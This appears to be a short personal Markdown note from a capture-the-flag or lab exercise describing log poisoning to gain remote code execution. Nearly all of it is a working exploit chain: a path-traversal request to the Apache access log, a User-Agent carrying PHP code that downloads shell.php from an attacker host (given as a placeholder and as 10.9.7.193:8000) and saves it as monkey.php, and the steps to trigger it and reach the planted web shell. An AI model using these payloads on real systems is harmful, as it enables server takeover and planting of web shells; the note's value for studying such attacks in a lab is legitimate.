20 lines
736 B
Markdown
20 lines
736 B
Markdown
# RCE inside HTTP Request
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* a.k.a. Log Poisoning
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* User Agent can be filled with php code
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```sh
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GET /?view=./dog/../../../../../../../../../var/log/apache2/access.log&ext= HTTP/1.1
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Host: 10.10.59.238
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User-Agent: <?php file_put_contents('monkey.php',file_get_contents('http://<attacker-IP>:<attacker-Port>/shell.php')); ?>
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[...]
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```
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* copied from browser as curl command:
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```
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curl 'http://10.10.211.157/?ext=%20HTTP/1.1&view=./dog/../../../../var/log/apache/access.log' -H "User-Agent: <?php file_put_contents('monkey.php', file_get_contents('http://10.9.7.193:8000/shell.php'));?>"
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```
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* go to the access log
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```sh
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10.10.211.157/?ext=.log&view=./dog/../../../../var/log/apache2/access
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```
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* Afterwards visit `10.10.211.157/monkey.php`
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